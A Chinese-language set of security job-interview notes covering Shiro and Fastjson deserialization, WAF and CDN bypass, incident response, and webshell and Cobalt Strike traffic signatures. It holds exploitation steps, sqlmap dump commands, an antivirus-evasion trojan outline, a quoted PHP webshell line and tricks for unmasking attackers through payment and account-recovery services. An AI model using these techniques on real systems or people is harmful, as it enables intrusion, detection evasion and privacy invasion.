Shiro 550的密钥是固定的,因此更容易被攻击者利用。而Shiro 721修复了密钥硬编码的问题,但由于加密方式(AES-128-CBC)的缺陷,仍然存在Padding Oracle攻击的风险。攻击者需要先登录系统,获取到RememberMe Cookie,然后才能利用这个漏洞。这增加了攻击的难度,因为攻击者需要先通过合法的方式登录系统。34125

漏洞成因是因为有一个remeberme的方法,它可以对cookie进行加密存储,下次访问就不需要登录了,生成方法是对cookie先进行序列化AES加密,base64加密

550就是AES它是使用固定的key进行加密,所以就可以直接构造cookie利用

721的话是使用AES-128-CBC加密,可以不固定,可以使用padding oracle attack的工具进行利用,好像还需要提供一个有效的cookie,以及需要明确对方的操作系统

fastjson不出网利用

fastjson≤1.2.24

条件:BasicDataSource只需要有dbcp或tomcat-dbcp的依赖即可,dbcp即数据库连接池,在java中用于管理数据库连接,还是挺常见的。

Fastjson不出网利用漏洞主要是基于Fastjson的反序列化功能存在的安全问题。Fastjson是阿里巴巴开源的一个JSON处理库,它提供了将Java对象转换成JSON字符串以及将JSON字符串转换成Java对象的功能。在某些版本的Fastjson中,存在可以被恶意利用的反序列化漏洞,这些漏洞允许攻击者通过构造特定的JSON字符串来执行任意代码。

漏洞利用原理

  1. 反序列化过程:Fastjson在反序列化JSON字符串到Java对象时,会自动调用对象的setter方法和getter方法。如果这些方法中存在不安全的代码,攻击者可以利用这些代码执行恶意操作15。
  2. AutoType功能:Fastjson支持AutoType功能,允许在JSON字符串中通过@type属性指定要反序列化成的具体类。攻击者可以利用这个特性,指定一个恶意的类,如果这个类的构造方法或setter/getter方法中包含危险代码,就可能导致远程代码执行15。
  3. 不出网条件下的利用:在内网环境下,由于无法直接访问外部服务器,传统的利用JNDI注入的方式可能不可行。因此,攻击者需要寻找不需要出网的利用方法。一种方法是利用BCEL(Byte Code Engineering Library)字节码库,通过动态加载字节码的方式来执行恶意代码。这种方法需要在受害者的机器上已经部署了相关的依赖,如Tomcat,并利用了Tomcat的dbcpdbcp2库58。
  4. BCEL字节码编码:攻击者首先需要将恶意类的.class文件转换为BCEL格式的字节码,然后进行Base64编码,并添加特定的前缀$$BCEL$$。在Fastjson反序列化过程中,通过指定com.sun.org.apache.bcel.internal.util.ClassLoader作为类加载器,并设置恶意类的字节码作为driverClassName属性的值,可以触发动态加载并执行恶意代码58。

利用步骤

  1. 构造恶意类:创建一个恶意Java类,该类的构造方法或特定方法中包含用于执行攻击者指定命令的代码。
  2. 转换为BCEL字节码:将恶意类的.class文件转换为BCEL格式的字节码,并进行Base64编码。
  3. 构造利用JSON:构造一个包含@typedriverClassName属性的JSON字符串,其中driverClassName的值是编码后的BCEL字节码。
  4. 触发反序列化:将构造的JSON字符串发送给存在漏洞的Fastjson服务,触发反序列化过程,从而执行恶意代码。

注意事项

  • 利用Fastjson不出网漏洞需要对受害者环境有一定的了解,包括使用的Fastjson版本、是否存在可以利用的依赖等。
  • 攻击者需要具备一定的Java和字节码知识,以便正确构造恶意类和BCEL字节码。
  • 由于Fastjson的更新和安全社区的关注,旧的漏洞可能已经被修复,因此在实际攻击中需要针对最新的版本进行测试和研究。

通过上述原理和步骤,攻击者可以在不出网的环境下利用Fastjson的反序列化漏洞执行恶意代码。然而,需要注意的是,这种行为是非法的,并且对网络安全构成严重威胁。安全研究人员和专业人员应当在合法和道德的框架内进行研究和防御工作。

反序列化

PHP

PHP反序列化漏洞有了解吗?

序列化就是将一个对象转换成字符串,反序列化则反之,将字符串重新转化为对象。 此反序列化过程中unserialize()函数的参数可以控制,传入特殊的序列化后的字符串可改变对象的属性值,并触发特定函数执行代码;

字符串逃逸的成因

为了安全将序列化后的字符串作一些关键词替换后再反序列化,却导致字符串长度变长或变短,在精心构造的payload中将造成反序列化字符串逃逸,到达攻击目的;

一般在数据先后经过serialize()和unserialize()处理,在这个过程中字符串变多或变少的时侯可能存在反序列化的属性逃逸;

__wakeup()方法漏洞

调用unserialize()方法时会先调用__wakeup()方法,但是当序列化字符串的表示成员属性的数字大于实际的对象的成员属性数量是时,__ wakeup()方法不会被触发,

JAVA

Java反序列化了解吗?有没有了解过shrio反序列化?

Java反序列化是Java对象状态从字节流形式恢复到活生生的对象的过程。在Java中,序列化是将对象的状态信息转换为可以存储或传输的字节流的过程。Java中的ObjectOutputStream类的writeObject()方法可 以实现序列化,其作用把对象转换成字节流,便于保 存或者传输,而ObjectInputStream类readObject()方法用于反序列化,作用就是把字节流还原成对象。

Shiro反序列化漏洞是指在Apache Shiro框架中,由于不当的反序列化处理导致的安全漏洞。Apache Shiro是一个提供认证、授权、加密和会话管理的Java安全框架。在Shiro的某些版本中,存在一个硬编码的AES加密密钥,用于加密和解密RememberMe功能中的cookie。

RememberMe功能允许用户在关闭浏览器后仍然保持登录状态。当用户勾选RememberMe并登录成功后,Shiro会生成一个加密的cookie,其中包含了用户的会话信息。这个cookie在用户再次访问应用时被发送回服务器,Shiro框架会解密并反序列化这个cookie,以此来恢复用户的会话。

漏洞的关键在于,如果攻击者能够获取到这个硬编码的AES密钥,他们就可以构造一个恶意的序列化对象,对其进行AES加密,再将其编码成Base64格式,并放入cookie中。当这个恶意cookie被发送回服务器时,Shiro会对其进行解密和反序列化。如果这个恶意对象包含了恶意代码,那么在反序列化过程中,这些代码就有可能被执行,从而导致远程代码执行(RCE)漏洞。

杂项

CDN和DNS区别?CDN绕过思路?

CDN内容分发网络,主要作用就是让用户就近访问静态的网络资源,提高响应速度,降低网络拥堵。

DNS:域名服务器,主要作用就是将域名翻译成ip地 址。

CDN绕过思路:子域名访问,内部邮件,黑暗引擎搜索, 国外ping,证书及DNS查询,配置不当泄露,扫全网,DOS攻击等。

  1. 查询历史DNS记录
    • 通过查询DNS数据库,可以找到域名的历史IP地址,这些可能是在启用CDN之前记录的。工具如DNSDB和ViewDNS可以用来查找历史DNS解析记录。
  2. 子域名查询
    • 有些子域名可能没有使用CDN服务,或者与主站部署在同一台服务器上。通过查询子域名的IP地址,可能能够发现真实服务器的IP。可以使用微步在线等工具进行子域名枚举。
  3. 利用网站漏洞
    • 如果网站存在某些漏洞,如PHP信息泄露、目录列表泄露等,可能能够通过这些漏洞发现真实服务器的IP地址。
  4. 邮件查询服务
    • 一些网站在注册或密码找回时会发送邮件,邮件服务器的IP地址可能与网站服务器的IP相同或相近,从而可以推断出真实IP。
  5. 国外地址请求
    • 有些CDN服务可能仅针对特定区域,通过使用国外服务器或VPN连接到国外节点,可能能够直接访问到真实服务器。
  6. 修改请求头
    • 通过修改HTTP请求头,如User-Agent或其他特定的请求头字段,有时可以欺骗CDN节点,使其认为请求应该直接转发到源服务器。
  7. 利用网站证书
    • 通过查看SSL证书信息,有时可以发现服务器的真实IP地址。
  8. 通过网站图标(favicon)哈希值
    • 使用Shodan等搜索引擎,通过网站的favicon图标哈希值进行搜索,可能能找到真实IP。

3389端口无法连接的几种情况?

1.3389关闭状态,2.端口修改,3.防火墙连接,4.处于 内网环境,5.超过了服务器最大连接数,6.管理员设置 权限,指定用户登录。

常问的端口信息?

21:FTP文件传输协议

22:SSH远程连接

23:TELNET远程登录

25:SMTP邮件服务

53:DNS域名系统

80:HTTP超文本传输协议

443:HTTPS安全超文本传输协议

1433:MSSQL

3306:MYSQL

3389:windows远程桌面服务端口

7701:weblogic

6379:Redis

8080:TCP,HTTP协议代理服务器:Apache-tomcat默认端口号

免杀方面,做过免杀吗

使用 kali 中的 MSF,和一些杀毒软件,360,火绒啥的
利用 MSF 制作 exe 免杀木马
修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀
Bash 第一步:利用命令生成免杀木马
第二步:windows上打开杀毒软件查杀

第三步:木马捆绑
第四步:将生成的捆绑木马发到windows上,并打开msf进行监听
search name use
show options #设置RHOSTS并执行 set RHOSTS ip run

做过免杀吗,现在主要的免杀手段是什么
  1. 修改文件哈希值:通过修改文件的哈希值,来让杀软误判为合法文件,从而突破查杀检测
  2. 木马程序免杀:通过将恶意代码制作成木马程序,来绕过系统的安全防范机制.
  3. 利用工具进行免杀:利用 360,火绒等工具制作过简单的免杀木马 利用 kali 上的 msf 制作 exe 免杀木马

了解过哪些加密方式

对称加密和非对称加密
对称加密
非对称加密
MD5 算法
AES/DES/3DES 算法
AES-cbc算法

说几个 php 里面可以执行命令的函数

  1. exec(): 接受外部程序且显示完整的输出。
  2. shell_exec(): 执行一条 shell 命令并且返回完整的输出为一个字符串。
  3. system():把接受的字符串当作命令执行并且显示完整的输出。
  4. passthru(): 执行外部程序并且将输出写入标准输出。
  5. eval():把接收的字符串当作PHP代码来执行

应急响应

应急响应流程

首先收集客户机器信息以及样本,做好文件备份

然后判断安全事件的类型,是系统层面的,如挖矿病毒、后门木马,还是网络应用层面的,如webshell,或者是网络层面,如断网、DDOS等,之后隔离机器

日志、用户、进程、启动项、样本,看到可疑的就杀掉,删文件,打补丁,溯源

最后产出一份安全事件报告

一台主机在内网进行横向攻击,你应该怎么做?

1)确定攻击来源,是不是员工内部误操作,比如询问运维是否有自动化轮询脚本

2)如果没有,确定是攻击,结合时间点,根据设备信息,看一下安全事件,进程,流量

3)找到问题主机,开始应急响应流程:准备、检测、遏制、根除、恢复、跟踪,具体的操作要交给现场运维去处理

常用命令

Linux排查常见命令

Linux

**ps -aux **查看进程

**netstat -antlp **查看端⼝

top查看 cpu使⽤情况

Windows

tasklist 查看进程

netstat -an 查看端⼝

Linux怎么看ssh登录日志

/var/log/secure

/var/log/utmp

/var/log/wtmp

/var/log/lastlog

Linux查看定时任务 怎么删除定时任务

Crontab -l / /var/spool/cron/ 查看

/etc/cron 这个目录下面一堆

Crontab -r / Crontab -e 删除整个/编辑文件一条一条删

Windows查看rdp登录日志 登陆成功的事件id

eventvwr.exe事件查看器/windows/system32/winevt/Logs

WIndows日志——》安全——》筛选

登录成功事件ID4624

登录失败事件ID4625

Windows查找隐藏用户

lusrmgr.msc(本地用户和组)查看账号信息,排查是否含有新增账户,检查注册表判断是否存在隐藏账户、克隆账号等

防御:在正式的对抗之前备份注册表中

HKEY_LOCAL_MACHINE/SAM/SAM/Domain/Account/Group的键值,将其删除,这样服务器就不再允许创建其他账号或者删除账号,可以有效防范影子账户的创建,在需要创建用户或者删除用户的时候,在导入该键值

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

排查思路

jsp内存马形式及排查思路:

基于servlet:基于某个指定的URL访问,后⾯跟上系统命令,如/xxxx?cmd=whoami

基于filter:只要设置filter是/ *,那么访问baseURL的所有命令都可以执⾏命令,如baseURL/?

cmd=whoami

基于listener:同样可以是所有的baseURL均可

基于javaagent

思路

1、如果是** jsp 注入**,日志中排查可以 jsp 的访问请求。

2、如果是代码执行漏洞,排查中间件的 error.log,查看是否有可疑的报错,判断注入时

间和方法。

3、根据业务使用的组件排查可能存在的 java 代码执行漏洞,spring 的 controller 类型

的话根据上报 webshell 的 url 查找日志,filter 或者 listener 类型,可能会有较多的 404

但是带有参数的请求

主要是通过⽇志(error.log,access.log)找到是否有执⾏相关系统命令,如果存在且访问的URL可以

任意或者指定的URL

利⽤javaagent或javaassit进⾏覆盖

怎么手工排查内存马

  1. 查看服务器 web 日志,查看是否有可疑的 web 访问日志
  2. 查看是否有可疑的报错
  3. 查看是否有类似哥斯拉、冰蝎特征的 url 请求

工具使用(burp、sqlmap等)

Burp模块

(Poxy、Intruder、Repeater、Decoder)

Sqlmap

(-level 3/5、-r 文件、-u url、–method 提交方式、-cookie 自定义cookie、-tamper 混淆器)

SQLmap(常规)使用步骤

1、检测「注入点」

sqlmap -u ‘http://xx/?id=1
2、查看所有「数据库」

sqlmap -u ‘http://xx/?id=1’ --dbs
3、查看当前使用的数据库

sqlmap -u ‘http://xx/?id=1’ --current-db
4、查看「数据表」

sqlmap -u ‘http://xx/?id=1’ -D ‘security’ --tables
5、查看「字段」

sqlmap -u ‘http://xx/?id=1’ -D ‘security’ -T ‘users’ --tables
6、查看「数据」

sqlmap -u ‘http://xx/?id=1’ -D ‘security’ -T ‘users’ --dump

nmap

-sT TCP (全连接)连接扫描,准确但留下大量日志记录
-sS TCP SYN (半连接)扫描,速度较快,不会留下日志
-sp 扫描存活主机
-pn 不检测主机存活,不进行 ping
-po 扫描之前不进行 ping
-O 查看目标主机系统版本
-sV 探测服务版本
-A 全面扫描

项目经验

项目经验

项目经验,有没有参加过hw,负责什么岗位,工作内容是啥,结合工作内容问一点

之前是在xx单位驻场(安服/渗透),主要负责单位的APP、内部系统、公网系统版本更新前的安全测试任务,工作内容主要就是开发更新了功能点或者什么其他的新地方,提交了一个安全测试到内部平台上,然后小组长分发任务,在版本更新日期前做完安全测试并且提交漏洞定级,并且跟踪复测漏洞,出具安全测试报告,来不及修的就让开发延期,定期会有内部的攻防演练,之前是请奇安信的红队来对抗

有过hw经验,在监控组,主要负责看安全设备,也做一部分研判工作,看SIP态势感知、WAF、IPS/IDS,微步查一下恶意IP,封堵IP,配点进出网规则。

产品能力

结合安全设备问一下策略或使用方面的问题 熟悉哪些设备

天融信的IDS,深信服的IPS,深信服的SIP

策略个锤子,很少开放新的策略,除非是客户这边让设置一个策略啥的

​ 对于边界出口部署IPS,WAF,防火墙等安全设备(增加入侵成本及难度),特殊时期可对国外IP访问进行限制,针对于内网情况部署EDR设备及探针,及时响应内网流量及响应内网webshell落地,态势感知可对于部分内网通信加入白名单,针对于攻击情况与WAF及防火墙进行联动。

​ 针对于出口防火墙配置安全策略,对IP进行黑白名单限制,对于中高危漏洞次数响应封禁限制,内网探针捕获流量发送至态感进行分析,对集权设备(堡垒机等)进行重点防护保障,对靶标系统标识并进行重点监护,保障内外网全方位流量检测。

深信服 防火墙:AF 终端安全:EDR 态势感知:SIP 访问安全:深信服SSL VPN

长亭 防火墙:雷池(SafeLine) 安全评估系统:洞鉴(X-Ray) 态势感知:万象(COSMOS) 伪装欺骗系统:谛听(D-Sensor)

绿盟 IPS:NIPS IDS:NIDS 态势感知:ISOP-NDR 访问安全:绿盟VPN

启明星辰 防火墙:天清汉马 IPS:天清IPS IDS:天阗IDS 态势感知:启明星辰态势感知 访问安全:天清汉马VPN

天融信 防火墙:天融信NGFW 入侵检测和防御系统:TopSentry 态势感知:天融信态势感知系统 访问安全:天融信VPN系统

奇安信 防火墙:网神防火墙 IPS:奇安信入侵检测系统 IDS:奇安信入侵检测系统 终端安全:天擎 态势感知:天眼 访问安全:奇安信VPN

网御星云 防火墙:网御防火墙 IPS:LeadsecIPS IDS:LeadsecIDS 态势感知:Leadsec-CSA 访问安全:网御星云SSL VPN山石网科 防火墙:iNGFW 入侵检测和防御系统:IDPS

安恒 防火墙:玄武盾 入侵检测和防御系统:明御 态势感知:AiLPHA

亚信 防火墙:信舷(AISWAF) IPS:AISTPS 态势感知:信舵(MAXS)

铱迅 防火墙:YXLink WAF IPS:YXLink IPS 情报系统:YXLink NIS 态势感知:YXLink SSOC

安全加固

1. 配置加固

2. 应用程序加固

3. 软件加固

4. 操作系统加固

5. 服务器加固

设备误报如何处理?

来自外网的误报说明安全设备需要进行策略升级,不需要处置。
如果是来自内网的误报可以和负责人协商一下看能不能解决。

EDR

什么是EDR

EDR,即端点检测与响应(Endpoint Detection and Response),是一类专注于监控和分析网络端点(如计算机工作站、服务器等)上与安全相关的信息的工具。其主要目标是实时识别安全漏洞并对潜在威胁做出快速响应。EDR解决方案通过收集端点数据、将数据发送到EDR平台、分析数据、标记可疑活动并做出响应以及保留数据以供日后使用等多种方法来保护端点的安全

WAF

WAF 原理:WAF 是 Web 应用防火墙,是通过执行一系列针对 HTTP/HTTPS 的安全策略来专门保护 web 应用的安全产品

WAF绕过
  1. 编码绕过:通过使用URL编码、Base64编码、Hex编码或其他编码方式,攻击者可以改变请求的表现形式,使其看起来不包含恶意特征,从而绕过WAF的检测规则。
  2. 空格和特殊字符替换:WAF可能对特定的空格或特殊字符进行过滤。攻击者可以使用其他字符(如+%09%0A等)来替换这些被过滤的字符,以此绕过WAF的规则。
  3. 双关键字和大小写变换:有些WAF可能只对关键字进行一次过滤处理。通过使用大小写变换或双重关键字,攻击者可以绕过这种单次过滤机制。
  4. 请求方法差异:WAF可能对GET和POST请求的过滤规则不一致。攻击者可以通过改变请求方法(如使用POST代替GET)来绕过WAF的检测。
  5. 异常HTTP方法:通过使用WAF不常见或未充分处理的HTTP方法(如OPTIONS、TRACE等),攻击者可以尝试绕过WAF的检测机制。
  6. 超大数据包:WAF可能只检测固定大小的数据包。通过发送包含大量无用字符的数据包,攻击者可以试图超过WAF的处理能力,从而绕过检测。
  7. HTTP参数污染(HPP):通过构造特殊的HTTP请求参数,攻击者可以利用WAF对参数处理的逻辑缺陷进行绕过。
  8. 利用协议解析不一致:WAF和后端服务器可能对HTTP协议的解析存在不一致,攻击者可以利用这种不一致来绕过WAF的检测。
  9. Cookie/HTTP头注入:WAF可能未对Cookie或HTTP头进行充分检测。攻击者可以通过在这些部分注入恶意内容来绕过WAF。
  10. 利用分块传输编码:分块传输编码允许HTTP消息体分块发送。攻击者可以利用这一特性,将恶意内容分布在多个块中,以绕过WAF的检测。
  11. 冷门函数/字符/运算符:WAF可能未包含对所有数据库函数的检测。攻击者可以利用那些不常见的函数或运算符来进行SQL注入等攻击。
  12. 利用WAF架构缺陷:通过发现源站IP或利用云服务商的网络配置,攻击者可以直接向源站发送请求,绕过WAF的保护。
WAF 的分类和原理

WAF 分类:WAF 分为非嵌入型 WAF 和嵌入型 WAF。非嵌入型指的是虚拟机 WAF 之类的,嵌入型指的是 web 容器模块类型 WAF
WAF 原理:WAF 是 Web 应用防火墙,是通过执行一系列针对 HTTP/HTTPS 的安全策略来专门保护 web 应用的安全产品

入侵防御系统 IPS

入侵防御系统是一部能够监视网络的网络数据传输行为的计算机网络安全设备,能够即时的中断、调整不正常的网络数据传输行为。

入侵检测系统 IDS

积极主动的防护措施,通过软件,硬件对网络,系统的运行进行实时的监控,积极主动的处理攻击,保证网络资源的机密性,完整性 和可用性。

蜜罐

吸引攻击者,捕获攻击流量与样本,提取威胁特征

防火墙

防火墙是位于两个(或多个)网络间,实行网络间访问的硬件或软件。隔离网络,制定出不同区域之间的访问控制策略来控制不同信任程 度区域间传送的数据流。

堡垒机

是网络安全设备,通过一定的身份认证、授权、审计等机制,对用户进行严格的权限控制,实现远程终端会话管理、命令审核、安全 审计

溯源反制

溯源

1、溯源事件调查分析可以根据目标和深度的不同分为三个级别,即攻击路径调查、攻击团伙调查、攻击人员调查
2、攻击路径调查是最基本的也是最重要的调查取证工作。
1)攻击源捕获(设备告警、日志流量分析、蜜罐系统),获得攻击者真实IP,定位目标,利用精准IP定位目标的位置,IP数据
2)利用常规的渗透测试思路找出攻击者攻击的手法,比如说当前系统使用的是鱼跃cms,然后我们可以通过查询鱼跃cms历史漏洞看有没有可以利用的点,然后逆向判断出攻击者的攻击手段
3、有时候我们可以判断出发动攻击的团伙是哪个,然后更全面的了解该攻击同伙惯用的攻击手法,这也有利于溯源的进行或者进而部署更全面的安全防护方案,这就是攻击团伙调查
4、接下来就是要获取攻击人员信息,ID追踪术,利用搜索引擎、社交平台、技术论坛、社工库匹配
具体技巧:
1)域名、ip 反查目标个人信息
2)支付宝转账,确定目标姓氏
3)淘宝找回密码,确定目标名
4)企业微信手机号查公司名称
5)REG007 查注册应用、网站
6)程序 PDB 信息泄露,如果能拿到攻击木马样本,因为攻击者在编译攻击样本的时候会有那个调试信息,这也是一种信息泄漏
7)还有就是各大src排行榜,各种社交微博,vx都可以进行这个id的追踪

溯源技巧

1)通常情况下我们接到溯源任务的时候,可以获取到很多信息,如攻击者ip、攻击类型、恶意文件、攻击详情可以作为我们溯源的入手点。
2)通过攻击类型分析攻击详情的请求包,看有没有攻击者特征,通过获取到的 IP 地址进行威胁情报查询来判断所用的 IP 具体是代理 IP 还是真实 IP 地址。
3)如果遇到端口扫描,大概率为个人vps或者空间搜索引擎,在接到大量溯源任务时可以优先溯源
4)如果遇到命令执行,大概率为未经任何隐匿的网络、移动网络、接到脚本扫描任务的肉鸡,在接到大量溯源任务时可以优先溯源
5)如果遇到爬虫大概率为空间搜索引擎,可放到最后溯源

邮箱定位画像

1:最好的反击方式当然是渗透拿下对方的钓鱼网站,删除收信箱子。并且反钓鱼,

收集对方各种信息指纹等。但是鉴于对方这些域名已经无法访问,那么此方式略过;

2:封掉这些域名。域名注册机构为西部数码,官网西部数码-15年老牌云服务器、虚拟主机、

域名注册服务商!你可以整理一下证据,像西部反映一下。 或者去相关网站举报这些网站。

通用入侵检测方案

入侵检测是一项必不可少的终端安全功能。通常可以根据攻击者发起攻击的不同阶段设计出不同的检测方法。
1、流量检测方案
可以通过部署流量探针,对流量的源头ip、源头端口、协议类型等使用规则或特征进行入侵检测
1)威胁情报ioc检测:连接本机的ip被标记为活跃攻击源或者被标记为c&C服务器,则可能是一次入侵攻击
2)流量特征检测:通过匹配特征码的方式检测已知威胁
3)异常流量检测:寻找流量中不合常理的异常行为,比如非预期的异地登录、频繁尝试登录

2、行为检测方案
1)可疑程序执行,可以对可执行的程序或命令进行鉴别,如果不符合预期,则可能已经被入侵。通常的检测模型有零信任模型、非白即黑模型等等
2)可疑shell执行,攻击者在攻击成功之后通常都会执行一些持久化的脚本比如powershell脚本等等
3)异常行为检测:攻击者入侵肯定会有一些目的,比如频繁的读取文件(勒索病毒)窃取文件、创建后门账号等,如果发现执行这些敏感操作的进程都是非预期的则可能已经被入侵

3、痕迹检测方案
1)可疑程序检测:可以查看有无遗留的恶意程序或者非预期的可以程序,则有可能已经被入侵
2)持久化攻击检测:对程序的一些自启动服务(如注册表启动项、注册表)
3)安全日志检测:攻击者的入侵过程会在系统安全日志留下事件信息,如登录成功或者登录失败
4)日志完整性检测:有些攻击者为了不留下攻击痕迹,会清除或者替换系统日志。如果发现日志被清空,或者某段时间日志被删除,则可能已经被入侵

误报排除方法:可与客户核对,是否业务有该行为,或没有,可判断是有攻击行为

误报排除方法:

监测研判

攻击行为特征

大量报警排查

针对于大量的报警观察时间段,是否为扫描攻击,是否有攻击成功/失陷的事件然后逐一排查

0day攻击

总结实战经验发现,不管什么0day漏洞,最终都需要在内网主机执行命令,主机是防护0day漏洞攻击最后也是最关键的一道关卡。

制定以主机异常命令执行为核心,以识别网络及应用层异常行为、收敛攻击面、制定快速攻击定位及处置流程为辅助的0day漏洞防护战术

检测反弹shell等关键攻击行为,由于运维人员也会执行bash、nc等指令,为避免误报,递归分析shell日志每条命令的父进程,如果发现是web类进程调用shell则出发告警(如父进程是java、httpd 子进程是sh、python)

流量特征

Webshell工具

冰蝎

冰蝎流量特征

  1. 加密通信:冰蝎使用AES加密算法和base64编码对通信进行加密,使得流量在传输过程中不易被识别。
  2. 动态密钥:冰蝎2.0使用动态密钥对通信进行加密,每次连接时会随机选择User-Agent头,使得User-Agent频繁变换。
  3. 固定密钥:冰蝎3.0取消了动态获取密钥的方式,使用固定的连接密钥,AES加密的密钥为webshell连接密码的MD5的前16位,默认连接密码是"rebeyond"。
  4. 自定义传输协议:冰蝎4.0提供了传输协议自定义的功能,允许用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。
  5. User-Agent特征:冰蝎内置了多个User-Agent头,每次请求时会随机选择一个,这可能导致User-Agent在频繁变换。
  6. Content-Type特征:冰蝎的请求中,Content-Type字段可能设置为Application/x-www-form-urlencoded
  7. 端口特征:冰蝎与webshell建立连接时,使用的本地端口在49700左右,每连接一次,端口就依次增加。
  8. 长连接特征:冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销,请求头和响应头里通常会带有Connection: Keep-Alive
  9. 请求头和响应头特征:冰蝎具有固定的请求头和响应头,例如请求字节头dFAXQV1LORcHRQtLRlwMAhwFTAg/M和响应字节头TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
  10. Webshell特征:冰蝎的PHP webshell中可能存在固定的代码,如$post=Decrypt(file_get_contents("php://input"));eval($post);

冰蝎 2.0 强特征是 accept 里面有个 q=.2

冰蝎 3.0 Content-Type: application/octet-stream

冰蝎 4.0 ua头 referer头 accept 默认aes128加密, 密文的长度是16整数倍

冰蝎:aes

冰蝎 2.0 强特征是 accept 里面有个 q=.2;第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥

content-type为application/octet-stream;内置16个ua头;length长度5740/5720(java版本)

蚁剑

蚁剑是 ua 有 answord 蚁剑的加密特征是以 "0x…="开头

蚁剑:base64

ua头默认antsword

内容用URL加密,解密后流量最中明显的特征为ini_set(“display_errors”,“0”)

蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x…=”这种形式开头

  1. 编码器和解码器的特征:蚁剑自带的编码器和解码器具有明显的特点,可以通过更改配置文件来达到流量加密的目的1。例如,蚁剑支持多种编码方式,如base64、chr、rot13等,这些编码方式虽然可以对数据进行加密,但在数据包中仍然存在一定的特征1。
  2. UA头特征:蚁剑的User-Agent头部具有特定的版本标识,例如antSword/v2.1,这是一个很明显的特征,可以通过更改UA头来进行伪装12。
  3. Webshell静态特征:蚁剑在不同的服务器端语言中使用特定的函数执行代码,如PHP中的asserteval,ASP中的eval,以及JSP中的Java类加载(ClassLoader)等2。
  4. 动态流量特征:蚁剑的动态特征包括请求体和响应体的特定格式。例如,请求体通常以@ini_set("display_errors","0");@set_time_limit(0);开头,而响应体则可能是经过base64编码和混淆字符处理的格式12。
  5. 参数名特征:蚁剑的流量中,参数名往往以_0x.....=的形式出现,这种特定的参数名格式可以作为识别蚁剑流量的一个特征2。
  6. 流量加密和代理中转:蚁剑可以通过代理工具和自定义加密方法来进一步隐藏其流量特征,使得流量分析和检测变得更加困难1。
  7. RSA编码器:从AntSword v2.1.0版本开始,蚁剑新增了PHP RSA编码器,这可以用于生成加密的PHP shell代码,进一步增强了流量的隐蔽性1。
哥斯拉

哥斯拉 pass 字段

哥斯拉:base64

弱特征:客户端是java的,ua头有java版本(取决于jdk环境版本);

​ Accept为text/html, image/gif, image/jpeg, *; q=.2, /; q=.2,之前冰蝎也出现过同样的Accept,JDK引入的一个特征;

强特征:Cookie中有一个非常致命的特征,最后的分号cookie=** *;

菜刀

菜刀流量存在一些特征字 eval base64

漏扫工具

如何区分扫描流量和手工流量?

扫描流量数据量大,请求流量有规律可循且频率较高,手工流量请求少,间隔略长

扫描流量:比如常用的漏洞扫描工具 AWVS 以及 APPscan 在请求的 URL,Headers, Body 三项里随机包含了能代表自己的特征信 息。

AWVS

AWVS 扫描器的特征 :主要是看请求包中是否含有 acunetix wvs 字段

Nessus

Nessus 扫描器的特征:nessus 字段

渗透测试框架

CS流量特征
  1. 心跳包特征
    • CS会定期向C2(Command and Control)服务器发送心跳包,以保持连接。心跳包通常是延迟发送的数据包,默认间隔为60秒。
  2. 域名/IP特征
    • CS的DNS通信流量可能具有明显的域名解析特征,如心跳包中使用的域名和IP地址。这些域名和IP地址可能会在多个心跳包中重复出现,或者在执行特定指令时发生变化。
  3. 指令特征
    • CS的HTTP通信流量中,下发指令时,服务器端返回的包可能更长,甚至包含要加载的dll模块数据。客户端执行指令后,通过POST请求发送执行结果数据,这些数据通常通过加密base64编码
  4. 加密和TLS特征
    • CS使用自定义的TLS实现,其JA3和JA3S值可能与操作系统无关,这可以用于识别HTTPS流量。JA3和JA3S是根据TLS握手时客户端和服务器端的握手参数计算出来的,可以用于识别和检测加密流量。
主机存在CS木马排查思路
  1. 流量分析
    • 检查网络流量中是否存在CS特征流量,例如定期的心跳包加密的通信流量
  2. 文件系统检查
    • 搜索系统中是否存在CS相关的文件,如特定的DLL文件、执行文件等
    • 对系统中的文件进行哈希值检查,与已知的CS木马样本哈希值进行对比5。
  3. 内存分析
    • 使用内存分析工具,如Volatility,检查内存中的进程和模块,寻找CS木马的特征5。
    • 利用BeaconEye等专门针对CS内存特征的检测工具进行扫描5。
  4. 行为分析
    • 监控系统行为,如异常的进程创建、网络连接尝试等,这些可能是CS木马活动的迹象1。
    • 分析系统日志,寻找异常登录、未授权的配置更改等可疑行为3。
  5. 端口和服务检查
    • 检查系统上开放的端口,看是否有CS木马常用的端口被监听或占用4。
    • 检查系统服务,确认是否有未知的服务在运行,这些可能是CS木马的后门4。
  6. 使用威胁情报
    • 结合威胁情报,比如已知的CS木马使用的C2服务器域名或IP地址,进行针对性的检查2。

给你一个比较大的日志,应该如何分析?

使用日志分析工具,360 星图日志分析工具
建立白名单模式,为正常请求建立白名单
统计方法,统计请求出现次数

如果是paca数据包,可以用qax的天神传感器导入,然后在天眼筛选查看

也可以用wires hark去分析

流量分析中很多告警怎么快速找到真实攻击

通过特征规则将无效告警、误报告警过滤掉
需要对告警日志进行研判分析,从其中找出「真实有效」的攻击事件
利用网络安全工具对标准协议和用户行为进行分析,排除误报和误判

攻击者利用永恒之蓝漏洞攻击之后的日志特征是什么?

安全日志中,存在 4624 登录成功日志,登录类型为 3


网站公告

今日签到

点亮在社区的每一天
去签到